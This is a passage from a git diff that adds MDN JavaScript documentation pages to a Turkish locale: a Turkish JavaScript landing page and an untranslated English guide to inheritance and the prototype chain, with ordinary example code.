Only comparing the same object reference with itself yields true.</p> + +<pre class="brush: js">// Two variables, two distinct objects with the same properties +var fruit = {name: 'apple'}; +var fruitbear = {name: 'apple'}; + +fruit == fruitbear; // return false +fruit === fruitbear; // return false</pre> + +<pre class="brush: js">// Two variables, a single object +var fruit = {name: 'apple'}; +var fruitbear = fruit; // Assign fruit object reference to fruitbear + +// Here fruit and fruitbear are pointing to same object +fruit == fruitbear; // return true +fruit === fruitbear; // return true + +fruit.name = 'grape'; +console.log(fruitbear); // output: { name: "grape" }, instead of { name: "apple" } +</pre> + +<p>For more information about comparison operators, see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a>.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>To dive deeper, read about the <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">details of JavaScript's object model</a>.</li> + <li>To learn about ECMAScript 2015 classes (an alternative way to create objects), read the <a href="/en-US/docs/Web/JavaScript/Reference/Classes">JavaScript classes</a> chapter.</li> +</ul> + +<p>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</p> diff --git a/files/tr/web/javascript/index.html b/files/tr/web/javascript/index.html new file mode 100644 index 0000000000..578ff9261e --- /dev/null +++ b/files/tr/web/javascript/index.html @@ -0,0 +1,106 @@ +--- +title: JavaScript +slug: Web/JavaScript +tags: + - JavaScript + - JavaScript öğrenmek + - öğren +translation_of: Web/JavaScript +--- +<p>{{JsSidebar}}</p> + +<p class="summary"><strong>JavaScript</strong><sup>®</sup> (genellikle js olarak kısaltılır) basit şekilde yorumlanmış ve <a href="https://en.wikipedia.org/wiki/First-class_functions" title="https://en.wikipedia.org/wiki/First-class_functions">birinci sınıf fonksiyonlar</a> ile harmanlanmış nesne tabanlı bir programlama dilidir. Daha çok web sayfaları için kullanılan bir betik dili olarak bilinir, ancak <a class="external external-icon" href="https://nodejs.org/">node.js</a> veya <a href="https://couchdb.apache.org/">Apache CouchDB</a> gibi <a class="external external-icon" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">tarayıcı olmayan ortamlarda da sıkça kullanılır</a>. <a class="mw-redirect" href="https://en.wikipedia.org/wiki/Prototype-based_programming" title="Prototype-based">Prototip tabanlı</a> olması ve çoklu paradigma içeren bir dil olması dinamik ve fonksiyonel bir yapı sağlar. JavaScript hakkında <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/About_JavaScript">detaylı bilgi edinin</a>.</p> + +<p>JavaScript standardı <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Language_Resources">ECMAScript</a> olarak adlandırılır. 2012 yılı itibariyle tüm modern tarayıcılar ECMAScript 5.1'i desteklerken eski tarayıcılar ECMAScript 3'e kadar destekler. 17 Haziran 2015'de resmi olarak ECMAScript 2015 adı verilen 6. versiyon yayınlandı çoğunlukla ES2015 olarak ifade edildi. Bu döküman şu an için ECMAScript 2015'yı kapsıyor, ancak yakında ECMAScript 2016'yi kapsayacak şekilde güncellenecektir.</p> + +<p>Sitenin bu kısmı JavaScript'in kendisine, web sitesiyle doğrudan alakalı olmayan parçalara ve diğer ortamlara ayrılmıştır. {{Glossary("API","APIs")}} hakkında bilgi için lütfen <a href="https://developer.mozilla.org/en-US/docs/Web/API">Web API</a>s ve <a href="https://developer.mozilla.org/en-US/docs/Glossary/DOM">DOM</a> sayfalarını inceleyin.</p> + +<p>JavaScript, <a href="https://en.wikipedia.org/wiki/Java_%28programming_language%29">Java programlama dili</a>'nden farklıdır. Java, A.B.D. ve diğer ülkelerde Oracle firmasının kayıtlı markasıdır.</p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="Eğitim_Setleri">Eğitim Setleri</h2> + +<p>Rehberlerimiz ve eğitim setlerimiz ile JavaScript programlamayı öğrenin.</p> + +<h3 id="Başlangıç">Başlangıç</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/tr/docs/Web/JavaScript/Guide">JavaScript Rehberi</a></dt> + <dd>JavaScript'te yeniyseniz, bu rehber sizi adım adım JavaScript'e götürecek.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript teknolojilerine genel bakış</a></dt> + <dd>Web tarayıcısı için JavaScript.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Nesne tabanlı JavaScript</a></dt> + <dd>Nesne tabanlı JavaScript'e giriş.</dd> +</dl> + +<h3 id="Orta_seviye">Orta seviye</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript">JavaScript ile yeniden tanışma</a></dt> + <dd>JavaScript az buçuk haberdar olanlar için açıklama.</dd> +</dl> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">JavaScript veri yapıları</a></dt> + <dd>JavaScript'te bulunan veri yapılarına genel bakış.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness">Eşitlik kıyaslamaları ve aynılık</a></dt> + <dd>JavaScript üç farklı değer kıyaslama işlemi sağlar: katı eşitlik (===), zayıf eşitlik (==) ve {{jsxref("Global_Objects/Object/is", "Object.is()")}} metodu.</dd> +</dl> + +<h3 id="Üst_seviye">Üst seviye</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Kalıtım ve prototip zinciri</a></dt> + <dd>Büyük ölçüde yanlış anlaşılan ifadeler ve eksik değerlendirilmiş prototip tabanlı kalıtım.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">Katı Mod</a></dt> + <dd>Kısıtlı bir JavaScript varyantı.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript Tanımlanmış Diziler</a></dt> + <dd>JavaScript typed arrays, ikilik sayı sistemindeki taslak veriye erişmek için bir mekanizma sağlar.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management">Bellek yönetimi</a></dt> + <dd>JavaScript'te bellek yaşam döngüsü ve atık veri toplama işlemleri.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop">Eş zamanlılık modeli ve olay döngüsü</a></dt> + <dd>JavaScript, olay döngüsüne dayandırışmış bir eş zamanlılık modeline sahiptir.</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="Referanslar">Referanslar</h2> + +<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference">JS referanslar</a> dökümanını inceleyin.</p> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects">Standart nesneler</a></dt> + <dd><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="The JavaScript Array global object is a constructor for arrays, which are high-level, list-like objects."><code>Array</code></a></code>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date" title="Creates a JavaScript Date instance that represents a single moment in time. Date objects are based on a time value that is the number of milliseconds since 1 January, 1970 UTC."><code>Date</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" title="The Error constructor creates an error object. Instances of Error objects are thrown when runtime errors occur. The Error object can also be used as a base objects for user-defined exceptions. See below for standard built-in error types."><code>Error</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. In JavaScript every function is actually a Function object."><code>Function</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON" title="The JSON object contains methods for parsing JavaScript Object Notation (JSON) and converting values to JSON. It can't be called or constructed, and aside from its two method properties it has no interesting functionality of its own."><code>JSON</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math" title="Math is a built-in object that has properties and methods for mathematical constants and functions. Not a function object."><code>Math</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="The Number JavaScript object is a wrapper object allowing you to work with numerical values. A Number object is created using the Number() constructor."><code>Number</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" title="The RegExp constructor creates a regular expression object for matching text with a pattern."><code>RegExp</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="The String global object is a constructor for strings, or a sequence of characters."><code>String</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map" title="The Map object is a simple key/value map. Any value (both objects and primitive values) may be used as either a key or a value."><code>Map</code></a>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap" title="The WeakMap object is a collection of key/value pairs in which the keys are objects and the values can be arbitrary values."><code>WeakMap</code></a></code>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet" title="The WeakSet object lets you store weakly held objects in a collection."><code>WeakSet</code></a> ve diğer yerleşik nesneler hakkında bilgi edinin.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators">Matematiksel ifadeler ve operatörler</a></dt> + <dd>JavaScript'te bulunan <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a> </code>gibi birçok operatörün işlevsellikleri hakkında daha fazla bilgi edinin.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements">İfadeler ve deklarasyonlar</a></dt> + <dd><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do-while</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for-in</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for-of</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try-catch</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if-else</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch">switch</a></code> gibi birçok ifadenin ve anahtar kelimenin nasıl işlediğini öğrenin.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions">Fonksiyonlar</a></dt> + <dd>Kendi uygulamanızı geliştirmek için JavaScript fonksiyonlarını öğrenin.</dd> +</dl> + +<h2 id="Araçlar_Kaynaklar">Araçlar & Kaynaklar</h2> + +<p>JavaScript'te kod yazarken ve hata ayıklarken kullanılabilecek yardımcı kaynaklar.</p> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Tools">Firefox Geliştirici Araçları</a></dt> + <dd><a href="https://developer.mozilla.org/en-US/docs/Tools/Scratchpad">Scratchpad</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console">Web Console</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Profiler">JavaScript Profiler</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger">Debugger</a> ve daha fazlası.</dd> + <dt><a class="external external-icon" href="http://www.getfirebug.com/">Firebug</a></dt> + <dd>Herhangi bir sayfada CSS, HTML ve JavaScript'i canlı olarak düzenleyin, hata ayıklayın.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Shells">JavaScript Terminalleri</a></dt> + <dd>Bir JavaScript terminali, ufak JavaScript kodlarını hızlı bir şekilde test etmenizi sağlar.</dd> + <dt><a href="https://togetherjs.com/">TogetherJS</a></dt> + <dd> + <p class="hero-header-text large">TogetherJS size eş zamanlı bir şekilde takım çalışması yapmanızı sağlar.</p> + </dd> + <dt><a href="http://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt> + <dd>Stack Overflow'da sorular "JavaScript" etiketi altında yer alır.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript">JavaScript sürümleri ve sürüm notları</a></dt> + <dd>JavaScript'in özellik geçmişine ve uygulanma durumuna bir göz atın.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript">JSFiddle</a></dt> + <dd>Javascript, CSS, HTML içerikleri düzenleyin ve canlı sonuçlar edinin. Harici kaynaklar kullanarak ekibiniz ile birlikte çevirimiçi çalışın.</dd> +</dl> +</div> +</div> diff --git a/files/tr/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/tr/web/javascript/inheritance_and_the_prototype_chain/index.html new file mode 100644 index 0000000000..3996834ab3 --- /dev/null +++ b/files/tr/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -0,0 +1,561 @@ +--- +title: Türkçe +slug: Web/JavaScript/Inheritance_and_the_prototype_chain +translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain +--- +<div>{{jsSidebar("Advanced")}}</div> + +<p>JavaScript is a bit confusing for developers experienced in class-based languages (like Java or C++), as it is dynamic and does not provide a <code>class</code> implementation per se (the <code>class</code> keyword is introduced in ES2015, but is syntactical sugar, JavaScript remains prototype-based).</p> + +<p>When it comes to inheritance, JavaScript only has one construct: objects. Each object has a private property which holds a link to another object called its <strong>prototype</strong>. That prototype object has a prototype of its own, and so on until an object is reached with <code>null</code> as its prototype. By definition, <code>null</code> has no prototype, and acts as the final link in this <strong>prototype chain</strong>.</p> + +<p>Nearly all objects in JavaScript are instances of {{jsxref("Object")}} which sits on the top of a prototype chain.</p> + +<p>While this confusion is often considered to be one of JavaScript's weaknesses, the prototypal inheritance model itself is, in fact, more powerful than the classic model. It is, for example, fairly trivial to build a classic model on top of a prototypal model.</p> + +<h2 id="Inheritance_with_the_prototype_chain">Inheritance with the prototype chain</h2> + +<h3 id="Inheriting_properties">Inheriting properties</h3> + +<p>JavaScript objects are dynamic "bags" of properties (referred to as <strong>own properties</strong>). JavaScript objects have a link to a prototype object. When trying to access a property of an object, the property will not only be sought on the object but on the prototype of the object, the prototype of the prototype, and so on until either a property with a matching name is found or the end of the prototype chain is reached.</p> + +<div class="note"> +<p>Following the ECMAScript standard, the notation <code>someObject.[[Prototype]]</code> is used to designate the prototype of <code>someObject</code>. Since ECMAScript 2015, the <code>[[Prototype]]</code> is accessed using the accessors {{jsxref("Object.getPrototypeOf()")}} and {{jsxref("Object.setPrototypeOf()")}}. This is equivalent to the JavaScript property <code>__proto__</code> which is non-standard but de-facto implemented by many browsers.</p> + +<p>It should not be confused with the <code><em>func</em>.prototype</code> property of functions, which instead specifies the <code>[[Prototype]]</code> to be assigned to all <em>instances</em> of objects created by the given function when used as a constructor. The <code><strong>Object.prototype</strong></code> property represents the {{jsxref("Object")}} prototype object.</p> +</div> + +<p>Here is what happens when trying to access a property:</p> + +<pre class="brush: js">// Let's create an object o from function f with its own properties a and b: +let f = function () { + this.a = 1; + this.b = 2; +} +let o = new f(); // {a: 1, b: 2} + +// add properties in f function's prototype +f.prototype.b = 3; +f.prototype.c = 4; + +// do not set the prototype f.prototype = {b:3,c:4}; this will break the prototype chain +// o.[[Prototype]] has properties b and c. +// o.[[Prototype]].[[Prototype]] is Object.prototype. +// Finally, o.[[Prototype]].[[Prototype]].[[Prototype]] is null. +// This is the end of the prototype chain, as null, +// by definition, has no [[Prototype]]. +// Thus, the full prototype chain looks like: +// {a: 1, b: 2} ---> {b: 3, c: 4} ---> Object.prototype ---> null + +console.log(o.a); // 1 +// Is there an 'a' own property on o? Yes, and its value is 1. + +console.log(o.b); // 2 +// Is there a 'b' own property on o? Yes, and its value is 2. +// The prototype also has a 'b' property, but it's not visited. +// This is called Property Shadowing + +console.log(o.c); // 4 +// Is there a 'c' own property on o? No, check its prototype. +// Is there a 'c' own property on o.[[Prototype]]? Yes, its value is 4. + +console.log(o.d); // undefined +// Is there a 'd' own property on o? No, check its prototype. +// Is there a 'd' own property on o.[[Prototype]]? No, check its prototype. +// o.[[Prototype]].[[Prototype]] is Object.prototype and there is no 'd' property by default, check its prototype. +// o.[[Prototype]].[[Prototype]].[[Prototype]] is null, stop searching, +// no property found, return undefined. +</pre> + +<p><a href="https://repl.it/@khaled_hossain_code/prototype">Code Link</a></p> + +<p>Setting a property to an object creates an own property. The only exception to the getting and setting behavior rules is when there is an inherited property with a <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">getter or a setter</a>.</p> + +<h3 id="Inheriting_methods">Inheriting "methods"</h3> + +<p>JavaScript does not have "methods" in the form that class-based languages define them. In JavaScript, any function can be added to an object in the form of a property. An inherited function acts just as any other property, including property shadowing as shown above (in this case, a form of <em>method overriding</em>).</p> + +<p>When an inherited function is executed, the value of <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> points to the inheriting object, not to the prototype object where the function is an own property.</p> + +<pre class="brush: js">var o = { + a: 2, + m: function() { + return this.a + 1; + } +}; + +console.log(o.m()); // 3 +// When calling o.m in this case, 'this' refers to o + +var p = Object.create(o); +// p is an object that inherits from o + +p.a = 4; // creates a property 'a' on p +console.log(p.m()); // 5 +// when p.m is called, 'this' refers to p. +// So when p inherits the function m of o, +// 'this.a' means p.a, the property 'a' of p + + +</pre> + +<h2 id="Using_prototypes_in_JavaScript">Using prototypes in JavaScript</h2> + +<p>Let's look at what happens behind the scenes in a bit more detail.</p> + +<p>In JavaScript, as mentioned above, functions are able to have properties. All functions have a special property named <code>prototype</code>. Please note that the code below is free-standing (it is safe to assume there is no other JavaScript on the webpage other than the below code). For the best learning experience, it is highly recommended that you open a console, navigate to the "console" tab, copy-and-paste in the below JavaScript code, and run it by pressing the Enter/Return key. (The console is included in most web browser's Developer Tools. More information is available for <a href="/en-US/docs/Tools">Firefox Developer Tools</a>, <a href="https://developers.google.com/web/tools/chrome-devtools/">Chrome DevTools</a>, and <a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide">Edge DevTools</a>.)</p> + +<pre class="brush: js">function doSomething(){} +console.log( doSomething.prototype ); +// It does not matter how you declare the function, a +// function in JavaScript will always have a default +// prototype property. +// (Ps: There is one exception that arrow function doesn't have a default prototype property) +var doSomething = function(){}; +console.log( doSomething.prototype ); +</pre> + +<p>As seen above, <code>doSomething()</code> has a default <code>prototype</code> property, as demonstrated by the console. After running this code, the console should have displayed an object that looks similar to this.</p> + +<pre class="brush: js">{ + constructor: ƒ doSomething(), + __proto__: { + constructor: ƒ Object(), + hasOwnProperty: ƒ hasOwnProperty(), + isPrototypeOf: ƒ isPrototypeOf(), + propertyIsEnumerable: ƒ propertyIsEnumerable(), + toLocaleString: ƒ toLocaleString(), + toString: ƒ toString(), + valueOf: ƒ valueOf() + } +}</pre> + +<p>We can add properties to the prototype of <code>doSomething()</code>, as shown below.</p> + +<pre class="brush: js">function doSomething(){} +doSomething.prototype.foo = "bar"; +console.log( doSomething.prototype );</pre> + +<p>This results in:</p> + +<pre class="brush: js">{ + foo: "bar", + constructor: ƒ doSomething(), + __proto__: { + constructor: ƒ Object(), + hasOwnProperty: ƒ hasOwnProperty(), + isPrototypeOf: ƒ isPrototypeOf(), + propertyIsEnumerable: ƒ propertyIsEnumerable(), + toLocaleString: ƒ toLocaleString(), + toString: ƒ toString(), + valueOf: ƒ valueOf() + } +} +</pre> + +<p>We can now use the <code>new</code> operator to create an instance of <code>doSomething()</code> based on this prototype. To use the new operator, simply call the function normally except prefix it with <code>new</code>. Calling a function with the <code>new</code> operator returns an object that is an instance of the function. Properties can then be added onto this object.</p> + +<p>Try the following code:</p> + +<pre class="brush: js">function doSomething(){} +doSomething.prototype.foo = "bar"; // add a property onto the prototype +var doSomeInstancing = new doSomething(); +doSomeInstancing.prop = "some value"; // add a property onto the object +console.log( doSomeInstancing );</pre> + +<p>This results in an output similar to the following:</p> + +<pre class="brush: js">{ + prop: "some value", + __proto__: { + foo: "bar", + constructor: ƒ doSomething(), + __proto__: { + constructor: ƒ Object(), + hasOwnProperty: ƒ hasOwnProperty(), + isPrototypeOf: ƒ isPrototypeOf(), + propertyIsEnumerable: ƒ propertyIsEnumerable(), + toLocaleString: ƒ toLocaleString(), + toString: ƒ toString(), + valueOf: ƒ valueOf() + } + } +}</pre> + +<p>As seen above, the <code>__proto__</code> of <code>doSomeInstancing</code> is <code>doSomething.prototype</code>. But, what does this do? When you access a property of <code>doSomeInstancing</code>, the browser first looks to see if <code>doSomeInstancing</code> has that property.</p> + +<p>If <code>doSomeInstancing</code> does not have the property, then the browser looks for the property in the <code>__proto__</code> of <code>doSomeInstancing</code> (a.k.a. doSomething.prototype). If the <code>__proto__</code> of doSomeInstancing has the property being looked for, then that property on the <code>__proto__</code> of doSomeInstancing is used.</p> + +<p>Otherwise, if the <code>__proto__</code> of doSomeInstancing does not have the property, then the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing is checked for the property. By default, the <code>__proto__</code> of any function's prototype property is <code>window.Object.prototype</code>. So, the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing (a.k.a. the <code>__proto__</code> of doSomething.prototype (a.k.a. <code>Object.prototype</code>)) is then looked through for the property being searched for.</p> + +<p>If the property is not found in the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing, then the <code>__proto__</code> of the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing is looked through. However, there is a problem: the <code>__proto__</code> of the <code>__proto__</code> of the <code>__proto__</code> of doSomeInstancing does not exist. Then, and only then, after the entire prototype chain of <code>__proto__</code>'s is looked through, and there are no more <code>__proto__</code>s does the browser assert that the property does not exist and conclude that the value at the property is <code>undefined</code>.</p> + +<p>Let's try entering some more code into the console:</p> + +<pre class="brush: js">function doSomething(){} +doSomething.prototype.foo = "bar"; +var doSomeInstancing = new doSomething(); +doSomeInstancing.prop = "some value"; +console.log("doSomeInstancing.prop: " + doSomeInstancing.prop); +console.log("doSomeInstancing.foo: " + doSomeInstancing.foo); +console.log("doSomething.prop: " + doSomething.prop); +console.log("doSomething.foo: " + doSomething.foo); +console.log("doSomething.prototype.prop: " + doSomething.prototype.prop); +console.log("doSomething.prototype.foo: " + doSomething.prototype.foo);</pre> + +<p>This results in the following:</p> + +<pre class="brush: js">doSomeInstancing.prop: some value +doSomeInstancing.foo: bar +doSomething.prop: undefined +doSomething.foo: undefined +doSomething.prototype.prop: undefined +doSomething.prototype.foo: bar</pre> + +<h2 id="Different_ways_to_create_objects_and_the_resulting_prototype_chain">Different ways to create objects and the resulting prototype chain</h2> + +<h3 id="Objects_created_with_syntax_constructs">Objects created with syntax constructs</h3> + +<pre class="brush: js">var o = {a: 1}; + +// The newly created object o has Object.prototype as its [[Prototype]] +// o has no own property named 'hasOwnProperty' +// hasOwnProperty is an own property of Object.prototype. +// So o inherits hasOwnProperty from Object.prototype +// Object.prototype has null as its prototype. +// o ---> Object.prototype ---> null + +var b = ['yo', 'whadup', '?']; + +// Arrays inherit from Array.prototype +// (which has methods indexOf, forEach, etc.) +// The prototype chain looks like: +// b ---> Array.prototype ---> Object.prototype ---> null + +function f() { + return 2; +} + +// Functions inherit from Function.prototype +// (which has methods call, bind, etc.) +// f ---> Function.prototype ---> Object.prototype ---> null +</pre> + +<h3 id="With_a_constructor">With a constructor</h3> + +<p>A "constructor" in JavaScript is "just" a function that happens to be called with the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new operator</a>.</p> + +<pre class="brush: js">function Graph() { + this.vertices = []; + this.edges = []; +} + +Graph.prototype = { + addVertex: function(v) { + this.vertices.push(v); + } +}; + +var g = new Graph(); +// g is an object with own properties 'vertices' and 'edges'. +// g.[[Prototype]] is the value of Graph.prototype when new Graph() is executed. +</pre> + +<h3 id="With_Object.create">With <code>Object.create</code></h3> + +<p>ECMAScript 5 introduced a new method: {{jsxref("Object.create()")}}. Calling this method creates a new object. The prototype of this object is the first argument of the function:</p> + +<pre class="brush: js">var a = {a: 1}; +// a ---> Object.prototype ---> null + +var b = Object.create(a); +// b ---> a ---> Object.prototype ---> null +console.log(b.a); // 1 (inherited) + +var c = Object.create(b); +// c ---> b ---> a ---> Object.prototype ---> null + +var d = Object.create(null); +// d ---> null +console.log(d.hasOwnProperty); +// undefined, because d doesn't inherit from Object.prototype +</pre> + +<h3 id="delete_Operator_with_Object.create_and_new_operator"><code>delete</code> Operator with <code>Object.create</code> and <code>new</code> operator</h3> + +<p>Using <code>Object.create</code> of another object demonstrates prototypical inheritance with the <code>delete</code> operation:</p> + +<pre class="brush: js">var a = {a: 1}; + +var b = Object.create(a); + +console.log(a.a); // print 1 +console.log(b.a); // print 1 +b.a=5; +console.log(a.a); // print 1 +console.log(b.a); // print 5 +delete b.a; +console.log(a.a); // print 1 +console.log(b.a); // print 1(b.a value 5 is deleted but it showing value from its prototype chain) +delete a.a; +console.log(a.a); // print undefined +console.log(b.a); // print undefined</pre> + +<p>The <code>new</code> operator has a shorter chain in this example:</p> + +<pre class="brush: js">function Graph() { + this.vertices = [4,4]; +} + +var g = new Graph(); +console.log(g.vertices); // print [4,4] +g.vertices = 25; +console.log(g.vertices); // print 25 +delete g.vertices; +console.log(g.vertices); // print undefined +</pre> + +<h3 id="With_the_class_keyword">With the <code>class</code> keyword</h3> + +<p>ECMAScript 2015 introduced a new set of keywords implementing <a href="/en-US/docs/Web/JavaScript/Reference/Classes">classes</a>. The new keywords include {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}}, and {{jsxref("Operators/super", "super")}}.</p> + +<pre class="brush: js">'use strict'; + +class Polygon { + constructor(height, width) { + this.height = height; + this.width = width; + } +} + +class Square extends Polygon { + constructor(sideLength) { + super(sideLength, sideLength); + } + get area() { + return this.height * this.width; + } + set sideLength(newLength) { + this.height = newLength; + this.width = newLength; + } +} + +var square = new Square(2); +</pre> + +<h3 id="Performance">Performance</h3> + +<p>The lookup time for properties that are high up on the prototype chain can have a negative impact on the performance, and this may be significant in the code where performance is critical. Additionally, trying to access nonexistent properties will always traverse the full prototype chain.</p> + +<p>Also, when iterating over the properties of an object, <strong>every</strong> enumerable property that is on the prototype chain will be enumerated. To check whether an object has a property defined on <em>itself</em> and not somewhere on its prototype chain, it is necessary to use the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> method which all objects inherit from <code>Object.prototype</code>. To give you a concrete example, let's take the above graph example code to illustrate it:</p> + +<pre class="brush: js">console.log(g.hasOwnProperty('vertices')); +// true + +console.log(g.hasOwnProperty('nope')); +// false + +console.log(g.hasOwnProperty('addVertex')); +// false + +console.log(g.__proto__.hasOwnProperty('addVertex')); +// true +</pre> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> is the only thing in JavaScript which deals with properties and does <strong>not</strong> traverse the prototype chain.</p> + +<p>Note: It is <strong>not</strong> enough to check whether a property is <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>. The property might very well exist, but its value just happens to be set to <code>undefined</code>.</p> + +<h3 id="Bad_practice_Extension_of_native_prototypes">Bad practice: Extension of native prototypes</h3> + +<p>One misfeature that is often used is to extend <code>Object.prototype</code> or one of the other built-in prototypes.</p> + +<p>This technique is called monkey patching and breaks <em>encapsulation</em>. While used by popular frameworks such as Prototype.js, there is still no good reason for cluttering built-in types with additional <em>non-standard</em> functionality.</p> + +<p>The <strong>only</strong> good reason for extending a built-in prototype is to backport the features of newer JavaScript engines, like <code>Array.forEach</code>.</p> + +<h3 id="Summary_of_methods_for_extending_the_prototype_chain">Summary of methods for extending the prototype chain</h3> + +<p>Here are all 4 ways and their pros/cons. All of the examples listed below create exactly the same resulting <code>inst</code> object (thus logging the same results to the console), except in different ways for the purpose of illustration.</p> + +<table class="standard-table" style="text-align: top;"> + <tbody> + <tr> + <td style="width: 1%;">Name</td> + <td style="vertical-align: top; width: 1%;">Example(s)</td> + <td style="vertical-align: top;">Pro(s)</td> + <td style="vertical-align: top; width: 60%;">Con(s)</td> + </tr> + <tr> + <td>New-initialization</td> + <td style="vertical-align: top;"> + <pre class="brush: js"> +function foo(){} +foo.prototype = { + foo_prop: "foo val" +}; +function bar(){} +var proto = new foo; +proto.bar_prop = "bar val"; +bar.prototype = proto; +var inst = new bar; +console.log(inst.foo_prop); +console.log(inst.bar_prop); +</pre> + </td> + <td style="vertical-align: top;">Supported 